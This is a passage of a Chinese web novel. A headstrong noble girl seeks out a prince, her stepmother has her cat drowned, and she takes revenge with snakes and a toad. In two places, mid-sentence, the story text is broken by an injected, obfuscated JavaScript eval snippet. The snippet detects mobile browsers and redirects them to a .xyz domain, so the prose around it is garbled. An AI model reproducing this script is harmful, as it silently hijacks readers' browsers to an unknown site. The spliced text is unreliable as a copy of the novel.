自此,聂相宜被拘在了晴方院。乌姑姑每日辰时来酉时走,手执一条细长竹篾,如唐僧一边给她念规矩。 什么家族荣辱,什么同气连枝,听得聂相宜简直头疼不已。 不仅如此,整日里还要抚琴对弈、作画篆香,没个空闲。 就连她偶尔得闲,逗弄自己的小猫雪墨,乌姑姑也会板着脸训她,“玩物丧志!” 害得雪墨看见乌姑姑就逃。 终于,在乌姑姑拿着竹条指正聂相宜不该整日与小猫玩闹时,聂相宜的火气终于被燎了个彻底。 她一把抢过乌姑姑的竹条掰成两半,扔了出去,“烦死了!整日里念紧箍咒一般!什么破规矩!饭不让人好好吃!玩也不让人好好玩!我不学了!” 乌姑姑在宫里,到底有几分资历,自然有些自恃身份。向来世家请她去做教养嬷嬷,大多也是教习琴棋书画等雅好,哪见过像聂相宜这般毫无体统的姑娘。 她皱眉斥道:“天底下哪有这般的姑娘!但凡世家贵女!说话需轻声细语,和颜悦色!这些微末规矩,本是不需我来教的!” 聂相宜背着她做了个鬼脸,心说那你便别教啊。 只是她到底没将这话说出来,怕把这乌姑姑给气个好歹。 一番折腾到酉时,乌姑姑这才忿忿离去。 聂相宜探着头望了一眼她的背影,朝身边的丫鬟含絮挤了挤眼睛,眸中带着点点兴奋之意,“含絮,她走了!” 她接连被拘在院子里好几日了,简直要被闷坏了。心下早已打定了主意,今日要出去转转。 “姑娘,老爷交代不许您出院子。眼下咱们晴方院门口有人看着呢。”含絮附在她耳边小声提醒道。 聂相宜不屑“嘁”了一声。 一刻钟后,她麻溜从墙头翻了下来,骄傲地仰着头,“这小小院墙还能困住我不成?” 说着她转脸看向含絮,眸色熠熠,“咱们去神策司!” 前两次见谢知,不是人太多就是出了事端,她总没找到机会问他。 今日她打定了主意,要去神策司问一问谢知,还记不记得她。 此时夕阳正好,暮色渐渐,霞光映天,金缕蔓延,洒在青黑檐瓦之上,带着初春微凉的气息。 神策司离皇宫并不远,飞檐反宇皆是如浓墨般严肃的漆黑。一眼望去,恍如一只安静蛰伏在皇宫附近的一头巨兽,无端叫人觉得压抑。 谢知从神策司的书房走出,他总如松竹玉石,今日着一身绯色官服,更衬得他面如冠玉。此刻他顺着献献飞檐望去,正是夕阳晃眼。 “殿下!” 一声轻快的女声低低地唤他。 神策司并无女子,站于谢知身旁的神策卫即刻警觉,“什么人!” 漆黑的院墙露出十只素白的手指,而后鬼鬼祟祟顶出一个毛茸茸的脑袋,一双清澈的眼睛亮似星辰。 那双眼见一瞧见谢知,瞬间弯成了月牙,“找到你了!” 谢知看着她撑着手,轻巧地翻上院墙,坐在高大肃穆的院墙之上,轻晃脚尖。 少女今日一身鹅黄绣玉兰的长裙,她似乎很喜欢这般明艳活泼的颜色,夕阳金灿灿的余晖洒在她的身上,与周围黑沉沉的颜色格格不入。 而她只是歪着头看向他,笑眼弯弯。 “殿下,你还记得我吗?” 4. 第 4 章 谢知抬眸望她,漆黑的眼眸如一滩深泉。 “你擅闯神策司,只是为了问这个?” 自她回京,他见过她两次,每次闹出的动静都不小,除非他脑袋被撞坏,否则怎会不记得? 聂相宜像是知道他在想什么,忙摇头道:“我说的不是薛府那回!” 她语气一顿,“也不是清集那回!” 她似乎有些心急,想也没想,便顺着墙头跳进了神策司,想要凑到谢知面前,靠得他近些,让他看清楚自己的模样。 神策军的长矛立刻横档在她的面前,阻拦她的靠近。 她毫不理会,只是矮身一躲,便从长矛下钻了过去,俏生生站到了谢知面前。 谢知看着她一气呵成的模样,倒是灵活。两人的距离她这般突兀地拉近,逆着夕阳微芒,少女桃粉色的微红脸颊莹润饱满,在阳光下照耀下,谢知几乎能看见她粉白皮肤上的细小绒毛,柔软又生动。 他抬眸制止了身旁的神策卫。 一对上他深沉的眸色,聂相宜便无端紧张起来。她揉捏着衣角,眼眸却熠熠生辉,充满希冀。 “我说的是上元节那回!你还记得我吗?” 谢知突然轻抿住了唇。眼前的少女微微朝他倾着身子,仰脸眼巴巴地望着她。他只觉忽有清郁的栀子花香朝他围拢,一点点钻入他的鼻尖。 他不动神色地退后半步,“上元节?” 闻得他语气疑惑,聂相宜怕他忘了,又急急提醒道:“景乾十七年的上元节呀!我送了你一个白玉面具,你便送了我一盏天宫花灯以作还礼呀!你忘了吗!” 景乾十七年,已是三年前了。她连时间都记得这般清楚,想来不知在脑中颠来倒去回忆了多少遍那天的情景。 就连谢知也能从她话中窥见一二,上元节夜色郎朗,少年少女一眼万年的美好。 他的声音无端冷了下来,“你认错人了。” 明明是和方才一样的表情,聂相宜却总觉得他整个人似乎冷了许多,嘴角微微抿起,连眼睛也透着寒气。 “我不会认错的!一定是你!”聂相宜急切而又笃定地说道。 “是么?”谢知轻扬起嘴角,语气中带着冰冷的嘲弄。 聂相宜连连点头,神色定定对上谢知的眼眸,“那夜你虽带着面具,但我一眼便能认出来是你!” 她这般笃信,只因她在景乾十七年之前,更早的时候,便已见过他了。 只是那时她刚到鄯州,性格畏缩,只敢缩在屏风后面,悄悄朝他望上一眼。 那时的他还是那个边关的鬼面小将军,总带着那个黑漆漆的面具。那面具看起来又凶又丑,然而面具底下,却有一双漂亮的眼睛,让她记忆犹新。 她一眼便能认出这双眼睛。 只可惜,等她有勇气决定与他说话时,那个鬼面小将军早已不在边关了。 后来景乾十七年,她随祖父回京述职,刚好是上元节。她仍旧记得清楚,那夜繁星点点,灯火煌煌,城郭建筑在月色下映照出一盏又一盏的影子。 她远远便瞧见了那副又凶又丑的面具。 但她决定不再做那个畏首畏尾的小姑娘了。 于是她欢快地提着裙子朝他奔去。只是将手中那张白玉面具递给他时,她还是害羞得不敢直视他的眼睛,只是红着一张脸,揉搓着衣角,“我觉得……这张面具更衬你。” 面如冠玉,大概才更衬得起那样一双漂亮的眼睛。 那是谢知与她的第一次见面。 却不是她第一次见到谢知。 少女曾经不够勇敢的遗憾在那夜消弭,并得到一盏花灯的回应。 她眨着眼睛,又朝前倾了倾身子,“殿下,你再仔细想想嘛。” 栀子的馥郁清香再次丝丝缕缕地涌入鼻尖,她的声音带着些祈求的软意,眼睛也那般巴巴地望着,倒像是撒娇。 躲不开的香气让谢知无端皱眉。他声线冰冷,“你可知道,擅闯神策司,乃是重罪。” “啊?”聂相宜一怔。 看着他神色依旧冷淡,没头没脑地说起了这个,不由得有些泄气。只瘪了瘪嘴,垂着脑袋道:“看来你真的不记得我了……” 方才还兴致勃勃,眼下便如霜打的茄子般垂头丧气起来,连眼睛都可怜兮兮地耷拉了下去。 谢知那句“你认错了人了”的强调,好似梗在喉中,怎么也说不出来。 “罢了罢了。” 她很快又抬起了头,像是想通了什么一般,眼睛里又恢复了那般神采奕奕的模样,“你不记得我便罢了,我记得你便好啦!” 她耸了耸小巧莹润的鼻尖,歪头看着谢知,“反正如今你也算识得我了!下次见面,殿下可要记得我哦!” 谢知看着她复又灵动起来的表情,心中冷笑一声,她真的记得她在上元节遇到的那个人吗?连人都会认错的蠢货。 聂相宜终于把想问的话问出了口,虽说没有得到自己想要的答案,总也不算白来。于是她拍了拍手,转身朝院墙走去。 “等等。”谢知叫住了她,眼中带着疑惑,“你干什么?” “我回去了啊。”聂相宜也疑惑,不然还能干嘛? 说着便想往神策司院墙上窜。 这般理直气壮的模样让谢知不由得额角青筋一跳。他下意识伸手拉住即将跳出去的聂相宜,沉冷着声音,“走正门!” 当他这神策司是什么地方,由着一个姑娘飞檐走壁? 只是掌中少女的手腕纤细,不过轻轻一握,便能触及那光滑细腻的皮肤,如凝脂膏。 谢知惊觉自己逾矩,皱着眉放开了手。 聂相宜似乎并未察觉,只是看着他,“可你不是说,擅闯神策司是重罪吗?” 谢知不明白这两者有什么关系。 “我从这里翻出去,不就没人知道我擅闯神策司啦!”聂相宜扬着头,眼睛里满是我很聪明吧的神气。 很缜密的逻辑。 谢知总算是知道,掩耳盗铃这个词是怎么来的了。 他沉着脸吩咐两个神策卫,“送聂姑娘出门。” 又看向聂相宜,冷着声音说道:“再有下次,严惩不贷。” 聂相宜瘪着嘴“哦”了一声,她本还想问若下次还想找他怎么办,只是话还没问出口,就被神策卫催着出门了。 她熟门熟路地翻回了晴方院,连一片树叶也未曾惊动,只有自己的小猫雪墨,蹲在房顶喵呜望她。 雪墨是她去岁回京途中捡到的小猫,浑身雪白,只有脑袋顶上一撮黑毛,好似一个墨点,故而取名雪墨。 它一见了聂相宜回来,起身伸了一个懒腰,又在梁柱上磨了两下爪子,这才贴着聂相宜的脚后跟,亦步亦趋地跟着。 聂相宜一把将它抱在怀里,像是心烦意乱般胡乱搓揉它的脑袋。直到雪墨的脑袋被揉得乱蓬蓬的,它不满地喵呜出声,聂相宜这才轻轻笑了一下。 只是她神色依旧恹恹,像是对着雪墨说话,又像是自言自语,“他怎么会不记得我了呢!” 那盏精致的天宫花灯还崭新如初地挂在她的房中,可送她花灯的人,却已经不记得她了。 聂相宜有些生气。 堂堂三皇子,神策司指挥使,堂堂学富五车芝兰玉树之人,怎得记性这般差! 还说是她认错了人! 她伸出指尖不满地戳了戳雪墨的脸颊,“我能认错吗!那张又丑又黑的面具,就是天王老子来了我都不可能认错!” 雪墨只是歪着脑袋,眨着一双猫眼朝她喵呜。 她觉得自己应该多出现在谢知面前,不然他哪天又把自己忘了怎么办? 只可惜从那天以后,即使是神策司外围,也是五步一兵十步一哨。 也不知道在防谁,聂相宜忿忿地想。 日子至此并未有什么变化,乌姑姑每日依旧辰时来酉时走,训她娇蛮任性,训她玩物丧志。 聂相宜也依旧充耳不闻,每日等她走了便翻院墙出去玩。 直至这日里,她刚翻身回府,便觉得院中与以往有所不同,静悄悄的。 “雪墨?”她心下疑惑,怎得今日不见雪墨前来迎她。于是她又嘬了两声,“咪咪?” 依旧安静。 她问院中奴仆雪墨去处,只有人畏畏缩缩答道:“夫人身边的芳瑞姑姑晚些时候来过,自那以后……雪墨就不见了。” 聂相宜脸色骤然一变,一阵风似的跑了出去。 她在后院的竹溪春圃找到江云娥时,她正在趁着夕阳之色赏花。竹溪春圃中种了大片绚烂的春花,在夕阳下朵朵绽放,争奇斗艳,实是美景。 春圃的石子小径迂回曲折,她冷着脸与江云娥迎面撞上,也不多言,只问道:“雪墨呢!” “什么?”江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041646|178801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云娥一怔。 “别给我装傻!”聂相宜眉眼中已带了不耐之气,“我问你,我的猫呢!” 江云娥似乎这才明白她的来意,像是恍然大悟,“你说那只猫呀……” 她语气微微一顿,依旧用温柔平和的语气笑言:“乌姑姑说你平日里的心思都放在了那只猫上,她一番苦心教你总也不见成效,怕是玩物丧志呢。” 芳瑞也在一旁帮腔,“那畜生脾气坏得很呢。差点挠了人不说,连儿姑娘的鹦哥儿都险些被她扑了去。要知道,那只鹦哥儿可是在外邦胡人那里买来的,很是珍贵呢……” 聂相宜听得怒火中烧,上前一步啪的一掌重重掴在芳瑞的老脸之上。她却未看芳瑞,只直勾勾地盯着江云娥,“你说谁脾气坏?” 她亦懒得听江云娥多说,只沉着脸问道:“它在哪儿!” 江云娥不想她竟直接对她的人动手,这一掌无异于掴在她的脸上,向来笑容得体的脸上也不由得微微发沉。 她浅笑,“这样坏脾气的猫,又扰了你教习清净。若任由它继续留在府中,伤了旁人也就罢了,若伤了乌姑姑,坏的可是你的名声。” 聂相宜闻言心头一紧,顿时攥住了她的手腕,浑身带着压迫之意逼近于她,“你将它如何了?” 江云娥见她气得不管不顾,连尊卑孝道也不放在眼里,竟敢上前攀扯,只怕下一掌会掴在她的脸上。她语气不由得一滞,面上依旧笑着,“不过是叫下人丢出府罢了。” “你给我等着!” 眼下找雪墨要紧,聂相宜顾不上与江云娥过多纠缠,一边派下人分头去找,一边转身自己也出了府。 江云娥看着她离去的眼神,沉着脸揉了揉被她捏红的手腕,“芳瑞,去叫他们把那只畜生的尸体从锦鳞池捞起来,丢出去。” 芳瑞红肿着脸,颊边通红的指印清晰可见。她神色有些迟疑,“夫人,若是叫大姑娘知道……” “怕什么?总归我也是听乌姑姑的话,一切为了她好。”江云娥嗤笑,“即便她知道了,任由她闹一闹也就罢了。若这点小事我都拿捏不住她,我还怎么主持侯府中馈?” 天色渐晚,日头逐渐染上昏黄的颜色,模糊了街巷的轮廓。 聂相宜沿着大街小巷仔细找寻,一边轻唤雪墨的名字。 太阳已经西沉,逐渐淅淅沥沥地下起了春日的夜雨。含絮与奴仆们逐渐找到她,带来一个又一个没找到雪墨的坏消息。 她依旧倔强地寻着。 她知道,时间拖得越久,找到雪墨的希望就越渺茫。 可她不想就这样放弃她的小猫。 一条街,又一巷。越是找不到雪墨,她心中就越是气恼与怨恨。 她怨恨江云娥竟敢这样对她,又气恼自己为何要出府,让江云娥就这样钻了空子。 自责与愤怒不断来回拉扯着她,让她几欲落下泪来。 春雨滴答,混着颊边眼泪而落。 夜色蒙蒙之中,她瞥见不远处,熟悉的身影似乎朝这边走来。 他总是那般气定神闲,身后的侍从为他撑着伞,细雨如丝,他一袭青袍素雅,纤尘不染。 这几日神策司事务繁忙,谢知方从神策司出来,还未上马车,远远便在暗沉天色中,看见了聂相宜的影子。 她弯着腰,沿着街巷的墙根,像是在仔细寻找着什么。雨水落在她青黑发髻,顺着面颊的发丝一点点滴落,任由发丝湿漉漉地贴在她苍白面颊之上。 她恍若未觉。 不知过了多久,她才抬起了头,对上了谢知的视线。她眼尾泛着脆弱的红,脸颊上沾染的晶莹不知是眼泪还是雨水,像一只淋雨狼狈的小猫,可怜极了。 只是她的目光在瞥见谢知之后,又忙擦掉脸上的泪,生怕被人看见自己这幅可怜模样似的。只生硬地对谢知行礼,“殿下。” 声音也带着些鼻音的嗡气。 谢知只朝她点头以示回礼,正欲与她擦肩而过。 他向来冷心冷清,并不会多管闲事。 只是那股恼人的栀子清香又缠上了他。 他没由来地停住了脚步,侧身问她,“怎么了?” 突如其来的关心让聂相宜再也忍不住,她嘴巴撇成一个向下的弧度,委屈得要命。她眨着眼睛,竭力遏制着泛红眼眶中的泪不要落下,带着哭音说道: “她们丢掉了我的小猫。” 5. 第 5 章 谢知自十六岁行走于神策司,见惯了许多眼泪。悔恨的、惊惧的、怨毒的,只是眼前少女的落泪,却是与那些人截然不同的。 如同一颗荔枝,一剥开坚硬的壳,莹润的果肉上滚落一滴晶亮的汁。 春潮带雨,仿佛这眼泪连带着濛濛细雨,尽数沾染上他的衣角。 他的声音听不出情绪,片刻的默然之后才开口,“凌竹,派人去帮忙找找。” 凌竹闻言将手中青伞交给了身后的小厮,恭顺答道:“是。” 然而他的心中惊诧,远不比他面上平静。殿下是从不愿多管闲事的,更何况对方还是未曾见过几面的貌美女子。 他复又躬身问道:“敢问姑娘,那小猫长什么样子。” “啊?多……多谢殿下……”聂相宜见谢知开口,那张委屈的脸先是一怔,而后眼中露出些晶亮的喜色来。 “嗯……大概有这么大一只……”她一边说一边用手比划。 “眼睛是蓝色的,浑身毛色雪白,只有脑袋顶上有一撮黑毛。”说着,她还用葱白的指尖戳了戳自己的脑袋。 “你叫它雪墨,或是咪咪,它都会应的。” 凌竹了然,又命了不远处等候的车夫前来,对谢知说道:“下雨湿寒,殿下不如先上马车稍候。” 夜风扬起马车前挂的两盏灯火,在绀青夜色中摇摇晃晃。聂相宜朝着凌竹离去的方向焦急地翘首以盼,身后奴仆的一把绢伞抵挡不住这斜风细雨。 “阿嚏!”她掩着绢子,轻声打了个喷嚏。 一只骨节分明的手撩开马车帷裳,隐约露出轮廓分明的下颌,谢知像是有些无奈的声音从里传来,“上来吧。” 聂相宜眼眸明亮,“多谢殿下!” 马车里静悄悄的,聂相宜与谢知相对而坐,中间隔着一方红木小几,两盏热茶氤氲出袅袅薄烟。 谢知手握书卷,并未看她,马车内只有翻动书页的轻声。安静的气氛让聂相宜有些局促,她抬眸悄悄看了一眼谢知,又很快收回了视线。 在鄯州时,聂相宜曾无数次想象鬼面小将军那张漆黑面具下的脸,如今凑近细看,竟比她想象中更加惊为天人。 他那只曾手执长剑的手,如今只是握住书卷,轻轻揭过一页。即使是看书这样简单的动作,谢知依旧那般矜贵优雅。 “茶快凉了。”谢知冷清的声音突然响起。 聂相宜这才惊觉自己竟看谢知入了神,顿时面颊泛起热意,滚烫起来,“哦……好……” 她不知该说些什么,只好端起茶杯欲盖弥彰。 温热的茶水入喉,这才驱散些被雨淋湿的寒凉,连带着精神也稍许放松。她将帷裳撩开一条缝隙,悄悄朝外望去。 也不知凌竹大人有没有找到雪墨。 谢知不动声色地皱了皱眉。自她进入马车,那股独属于她的栀子清香似有若无,悄然钻入他的鼻尖。 如今她掀开帷裳,由着夜风吹入,那香气更是恼人地缠上了他,在马车逼仄的空间内几乎无处可躲,扰得他竟下意识去追逐那清郁之气。 手中书卷一页未翻。 他坐得离聂相宜远了些,只冷声道:“把帷裳放下。” “哦……”聂相宜见他不知怎的声音忽然冷了下来,瘪着嘴缩回了手。 气氛安静好似凝固,聂相宜有些煎熬。 他果然如传闻一般,冷清如月,冰寒似雪。 她有心想要打破这尴尬气氛,于是仰脸看他,轻声问道:“殿下在看什么书呀?” 她声音犹自带着鼻音,小心翼翼的,又轻又软,好似小猫遇见陌生人后喵呜一声的试探,让谢知只觉自己心上好似也被挠了一爪,兀的发痒。 他不喜欢这种陌生的感觉。 只见他捏着书卷,连头也不曾抬起,声音冷淡,“自然是你看不懂的书。” 聂相宜顿时泄了气,嘴巴撅得能挂起一个葫芦,小声不满嘟哝道:“少瞧不起人了……” 但她的确不喜看书,话本除外。 这点似乎是遗传了她的外祖。外祖沙场征战多年,放肆桀骜,并不是皓首穷经之人。 在鄯州时,外祖也曾为她找来夫子教习功课,只可惜夫子在上头之乎者也,她在下头昏昏欲睡。 她刚回京城那日的接风宴,还为此闹了笑话。那时聂元苇与诸位世家贵女们提议玩飞花令,在场诸人皆是出口成章,只有她结结巴巴,半天也说不出来。 自此,京城人尽皆知,永宜侯府嫡长女聂相宜,是个胸无点墨的绣花枕头。 她气鼓鼓地撅着嘴,鼻尖里轻轻哼了一声,决定暂时不要和谢知说话了。 谢知似乎轻轻扬了扬唇,又像是错觉般很快抿了下去。 聂相宜在马车里百无聊赖,一边无趣地揉搓着衣角,一边盼着凌竹能快点回来。 不知过了多久,马车外终于想起了凌竹的声音,“殿下。” 聂相宜眼眸瞬间亮起,掀开帷裳探了半个身子出去,惊喜地看着他,“凌竹大人!你回来了!” 凌竹被吓了一跳。 他回来复命,不见聂家姑娘,本以为是她先行回府了,不想帷幕撩开,那姑娘竟言笑晏晏地看着他,眸色在灯火下格外璀璨。 这不啻于活见鬼了。 殿下的马车何时允过其他女子同乘? “凌竹大人,雪墨找到了吗?”她的眼中满是希冀,仿佛连拒绝的话都让人觉得不忍出口。 凌竹忙躬身,一板一眼地回答,“不曾。永宜侯府附近所有街巷都找遍了。” 那双明亮的眼眸瞬间黯淡下来。 “这样啊……”她像是强打起精神,“有劳凌竹将军了,我自己再找找吧。” 说罢又转身看向谢知,“今日多谢殿下出手相助,等找到了雪墨,我带着它再向殿下道谢。” 这番话虽是微笑着说的,可她眼中满满的失落,都快溢出来了。 谢知看着她下了马车。 “聂姑娘。”凌竹见殿下对她不同,便开口叫住了她,“若实在找不到,姑娘可以在街角巷尾放上一些雪墨平时玩的藤球、布条一类的东西,有它熟悉的气味,或许它自己便回来了。” 这话似乎又给了聂相宜一丝希望,她弯眼轻笑,声音里带着雀跃,“多谢凌竹大人!” 见她逐渐消失于夜幕之中,凌竹回到马车前候着,却总觉得似乎有一道沉沉目光不知从何处而来,盯得自己浑身不自在。 谢知放下了手中书卷。即使聂相宜已经离开,那股独属她的清香依旧久散不去,扰人心弦。 他皱了皱眉,“凌竹。” “殿下有何吩咐。” “回府后将马车内物什全部换掉。” 凌竹面上不懂声色,点头应下,内心却极是纳罕。马车内一应摆设都会定期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041647|178801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更换,这点小事,何曾由殿下亲自开口过? 怪哉。 许是淋了夜雨,聂相宜回府便发了热。她脑袋烧得昏昏沉沉,心下仍记恨着江云娥所作所为。 于是一边派下人按着凌竹的法子寻找雪墨,一边叫来含絮,哑着嗓子吩咐道:“你去找阳秋出来,让他去寻些东西来……” 不出这口恶气,她就不是聂相宜! 不过一日的功夫,聂相宜便退了热,只是身上仍有些乏力。 她吸了吸鼻子,嗡声嗡气的,正想寻了含絮问问,嘱咐她的事情办得怎么样了,不想正好见她她手中抱着一个湿漉漉的布裹,红着眼睛进来了。 “怎么了?”她忙问道。 含絮抽抽噎噎,“姑娘……雪墨它……” 聂相宜转瞬便从她的眼泪中明白了过来。 布裹内,雪墨早已毫无生息。小猫的身躯蜷在布裹内,原本粉嫩的鼻头苍白冰凉。 它额上那撮显眼的黑毛杂乱无章地散着,柔软的毛发再无光泽,浑身如在水中浸过一般,贴在它僵硬的身体上。 它再也不会睁开那双蓝汪汪的眼睛,朝着她亲昵地喵呜。 “是在角门附近发现的,分明是溺死后被人丢在那里的!”含絮红着眼控诉。 聂相宜紧握双拳,几乎咬碎了牙。雪墨十分怕水,如若不是有人将它按入水中,绝不会到如此地步。 巨大的愤怒与心痛几乎要将她淹没,如同心脏被重重锤打。她的眼眶通红,重重地喘着气,恨不能将江云娥千刀万剐。 她的眼神落在一旁博古架上摆放的一柄匕首之上。那匕首既精致又锋利,曾是表哥赠与她的生辰之礼,不过是闲来赏玩之物。 她怒火攻心,三两步上前,铛的一声抽出匕首。 屋内顿时寒光闪过。她的目光与那刀刃一样凌厉,怒气冲冲便往院外走去。 含絮被她此举吓着,忙上前拉住了她,“姑娘不可!” 聂相宜正在气头上,力气极大,含絮一时间竟拉不住她。只能一边勉强拖慢她的脚步,一边急急劝道: “奴婢知道姑娘为雪墨伤心生气,只是江氏终究是姑娘的继母,一个孝字压在上头,只怕是老将军也不好护住姑娘了!” 聂相宜怒而开口:“我岂会怕了她去!” 含絮见她仍不肯停下脚步,又忙换言相劝:“姑娘今日若针对江氏动了手,旁人可怎么议论老将军教您无方啊!圣上重视孝悌之道,只怕是传出去,连老将军也会因此受了责罚!” 聂相宜脚步忽地顿住。 含絮见劝说有用,又继续说道:“奴婢知道姑娘委屈,等得来年老将军入京,便可请老将军为姑娘做主,也可名正言顺啊!” 聂相宜深深吸了一口气,冰凉的风呛得她胸口生疼。她捏紧了手中的匕首,倏地转过了身,一步一步朝回走去。 匕首上镶嵌的宝石硌得掌心发痛,豆大的泪珠一滴一滴砸在青石地板之上,“我真是没用!” “姑娘不必怨恨自己。”含絮拿出绢子来,蹲在她身前,仰脸为她细心擦掉面颊的泪珠,“姑娘吩咐我的事,我和阳秋都办好了。” 她朝聂相宜浅浅一笑,“纵使今日奈何不了江氏,总归让她吃个教训还是不难的。刚过了惊蛰,那些东西正好也活泛了。” 聂相宜咬着牙,“那今晚便给她们放进去!就算是我还礼了!” 6. 第 6 章 弯月如勾,永宜侯府静默沉寂。 垂手而立的仆从如同泥胎木偶,安静无声,偶有一两身影匆匆而过,却连足下脚步也尽量放轻,冷霜般的月色映照之下,好似一个个飘忽的鬼影。 含絮仰脸瞧了一眼外头的天色,“姑娘,子时了。” 聂相宜裹着被子蜷在被窝里,一双眼睛因困倦有些迷迷瞪瞪的。一听了含絮的话,她即刻来了精神,“要动手了?” 含絮点头,“这会奴才们大都瞌睡,最是不易察觉的时候。” “只怕是江氏也睡得正香呢。”聂相宜眼珠滴溜一转,笑容带着十足的恶劣。 她一把掀了被子,兴致勃勃,“走!我也去悄悄热闹!” 含絮怕她又被夜风扑了身子,给她添了件厚厚的外衫。聂相宜急不可耐,瘪着嘴撒娇,“哪里用得着这般娇气……” “姑娘才退了热,哪里还受得起风?”含絮执拗,又为她添了一件披风,将她裹得严严实实,只露出巴掌大张小脸来。 她急急催促道:“快些快些!待会赶不上热闹了!” 两人提了一盏不起眼的羊角宫灯,趁着浓黑夜色,前往江云娥所在的芙蓉院。 “姑娘你看!” 二人在芙蓉院不远处的园子停下脚步,借着假山掩映,含絮举起宫灯,让聂相宜看得真切些。 在含絮的指点之下,聂相宜这才看见,沉沉夜色之中,一个漆黑人影不知何时出现在了芙蓉院的暖阁上方。 他躬身踮脚,手执一个麻布口袋,脚步悄悄,如同一个墨点,化开在周遭一片黢黑之中。 “阳秋是老将军特地给姑娘留的暗卫,一般人轻易发现不了他。” 宫灯靠近的火光将聂相宜白皙的脸颊照得红彤彤的,她眼眸晶亮,露出些兴奋颜色来,“阳秋寻了多少蛇来?若是太少,岂不是轻易放过了她!” “姑娘瞧着便是了。”含絮掩嘴轻笑,“那满满一口袋,可费了阳秋不少功夫呢。” 聂相宜鼻尖轻哼一声,恨恨道:“没有毒已经算便宜江云娥了。若有一日我得了机会,必拽着她的脑袋往水里按去,让她也尝尝溺水是什么滋味!” 言语之间,那黑影已然悄悄俯身揭开檐瓦,打开了麻袋。做完这些,他足尖轻点,转眼便消失在黑暗之中。 “动作还挺快。”含絮说道,又转脸看向聂相宜,“姑娘且等着动静便是。” 聂相宜目不转睛地盯着芙蓉院的方向,直到一声刺耳的尖叫划破原本宁静的夜空。 “啊——蛇——有蛇——” 顿时有惊慌的呼叫此起彼伏地传来,接踵而来的脚步声稀碎而慌乱,原本安静的奴仆们匆匆进出,来来往往乱作一团。 江云娥害怕的惊恐叫声仍没有停止,一声一声传到聂相宜的耳边。 聂相宜冷笑一声,这才长长吐出一口胸中憋闷的浊气,“我们走吧,她们今晚只怕还有得折腾呢。” 而后芙蓉院里传来丫鬟慌乱的惊呼,“快去请府医呀!夫人晕过去了!” 外头一片混乱,聂相宜一夜好眠。 翌日等聂相宜醒来,已经是日上三竿的时辰了。她这几日病着,乌姑姑没来教规矩,倒是偷闲了两日。 “姑娘,昨日芙蓉院可热闹了!” 她懒懒地伸了个懒腰,听着含絮在她耳边幸灾乐祸,“芙蓉院里闹了一晚上的蛇,吓得江氏晕过去好几次。现下她也不敢在芙蓉院里呆着,连睡觉也不敢了,硬熬着呢,只恐睡梦之中又有蛇缠上了她。” “她活该!只恨不能吓死她,给雪墨偿命去!” 聂相宜忿忿的声音里仍带着些鼻音,又吩咐含絮让阳秋找块好地方将雪墨安葬了。 只是这件事仍不算完。 “含絮,你去把乌姑姑请来吧。虽说身子不适,总也不能落下教习。” 乌姑姑来聂府的时候总有疑惑。聂家大姑娘也不是什么刻苦之人,整日里与她水火不容,是个桀骜不驯的性子。今日怎得这般上进?连病中也不肯落下? 等她到了聂府,见众奴仆面有慌乱,四处洒满了雄黄陈艾,不由得好奇,“这离端午甚早,怎得就撒起了雄黄?” 一问才知是府里闹了蛇,连侯夫人也吓病了。虽说惊蛰刚过,蛇虫始出,可偌大侯府人来人往,好端端的怎会闹蛇? 乌姑姑心中纳罕,一边往晴方院走去。 只是她方到院中,便被含絮拦住了去了,“姑姑留步。” 乌姑姑自恃身份,不想会被她拦住,不由得皱眉看她。 含絮只是脸上堆满了笑,“姑娘受了风寒,怕过了病气给姑姑,不如姑姑就在院中教习便是。” 聂相宜坐在窗下的桌前,顺势捏着绢子佯做咳了两声,“咳咳。” “大姑娘既是病中,放下两日也可。”乌姑姑远远看着聂相宜苍白面颊,病容倒是做不得假。 只是她嘴上虽是如此说着,却不由得不耐烦皱眉。她向来得诸世家礼待,何曾有过站在院中,隔窗教习的时候?岂非无礼? 于是她皮笑肉不笑地哂了一句,“姑娘怎得在病中,反而勤谨起来?” 聂相宜又咳了两声,“我原是想着,乌姑姑教我辛苦。有一份礼,还得赠与姑姑才是。这才着急了些。” 说着她吩咐含絮,“含絮,将我备好的谢礼交给姑姑。” 含絮嘴角扬起一抹轻笑,从屋内取出一方镂空雕花的红木锦盒来,递至乌姑姑手中。 乌姑姑接过那锦盒,总觉一头雾水,不解其意。 好端端的,送什么礼? 她面上仍是体面的微笑,“多谢姑娘。” “也不知我准备的礼物合不合姑姑心意。姑姑不如打开看看?” 乌姑姑犹疑稍许,伸出手打开锦盒。 “啊——” 锦盒方才开了一条缝,乌姑姑顿时瞳孔紧缩,忍不住惊叫一声,慌张撤了手。那红木锦盒当啷一声摔在地上,从中跳出一只硕大丑陋的青黑色癞□□。 它乍然被摔,亦猛地惊跳起来,窜到乌姑姑的脚上。 “呱——” 聂相宜捂着绢子,弯眼咯咯轻笑起来,“金蟾报喜!可是好兆头呢!姑姑可还喜欢我这份礼?” 乌姑姑哪里顾得上她,被脚背上的□□吓得骤然色变,忙提起裙摆甩着脚背,想要摆脱了那骇人玩意儿,一时间差点连绣鞋也甩飞了出去。 这般滑稽模样逗得聂相宜花枝乱颤,“姑姑一向教我端庄持重,怎得今日自己倒是这般轻浮随便?” 一番折腾,乌姑姑气得脸色青黑, 